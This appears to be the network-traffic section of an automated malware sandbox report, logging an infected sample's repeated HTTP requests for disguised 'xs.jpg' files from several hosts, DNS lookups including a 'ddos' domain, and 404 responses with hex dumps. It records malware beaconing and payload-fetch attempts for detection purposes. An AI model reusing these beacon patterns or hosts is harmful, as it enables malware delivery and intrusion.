Source: global traffic HTTP traffic detected: GET /xs.jpg?ba892148=1964130960 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159401|1720159209|4|43|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c23d225b=1336668285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159402|1720159210|4|43|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?8d5908bb=-579912419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?726fcf90=1464823472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4f9cfd4b=-287901727 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159405|1720159208|4|44|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7f9835e0=2113473888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159406|1720159209|4|44|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bbc08714=859936060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159407|1720159210|4|44|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c82e6dfa=1098084304 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f1d24191=-713636685 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6d72debd=1805055464 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159411|1720159208|5|45|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?ad82783c=429275676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159411|1720159209|4|45|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?83277979=211674596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159412|1720159210|4|45|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a4ace5e6=1858140924 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8ace3555=-1966197419 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a12e219=1749780580 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159415|1720159208|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8e2ac16=1968179332 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159415|1720159209|4|46|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1d23ecfe=-872711438 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159416|1720159210|4|46|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1c0afe0d=-1472072626 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ff1499a4=-30854328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?96b3ddc7=-243051293 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159419|1720159208|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e470f49d=1520810926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159420|1720159209|4|47|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?229aaa09=-1392160211 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159420|1720159210|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?27505c3e=1978733754 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?438725f0=-1555596448 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?98336238=812041328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159423|1720159208|4|48|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?254323e7=625157095 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159424|1720159209|4|48|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c5dbe75=2025553130 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159424|1720159210|4|48|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?91511b59=-694843203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d8491e75=1629780436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?72476109=-460406254 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159428|1720159208|4|49|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?f4c69117=-1506506568 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159428|1720159209|4|49|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?84b746ce=-1910123414 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159429|1720159210|4|49|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?64deb2e=105769774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?fa5e26a2=-188986044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?11ea3939=-1589902591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159432|1720159208|4|50|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?532c9a1d=1178089163 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159433|1720159209|4|50|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c2b7c0a5=-2056289974 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159434|1720159210|4|50|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2f612ca7=1589795150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8615d526=816752944 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f93bde4c=-681101880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159437|1720159208|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?bec5d02e=1011970186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159438|1720159209|4|51|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?36d200da=303694914 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159438|1720159210|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3510fe43=-1467485672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e9bb0874=558781576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?45a3fb7=730234150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159442|1720159208|4|52|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?b14fbec7=1003336959 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159442|1720159209|4|52|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c813930=1561082848 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159443|1720159210|4|52|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2b0eedca=39424700 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?d0e92fe1=-1580048446 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?6340f643=-263925937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159446|1720159208|4|53|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4fd89b2a=-552361220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159447|1720159209|4|53|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b092bd4e=891856830 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159447|1720159210|4|53|0; snkz=8.46.123.33
Source: global traffic DNS traffic detected: DNS query: althawry.org
Source: global traffic DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic DNS traffic detected: DNS query: www.careerdesk.org
Source: global traffic DNS traffic detected: DNS query: arthur.niria.biz
Source: global traffic DNS traffic detected: DNS query: amsamex.com
Source: global traffic DNS traffic detected: DNS query: apple-pie.in
Source: global traffic DNS traffic detected: DNS query: ahmediye.net
Source: global traffic DNS traffic detected: DNS query: g2.arrowhitech.com
Source: global traffic DNS traffic detected: DNS query: ampyazilim.com.tr
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:11 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:15 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:20 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:27 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:31 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
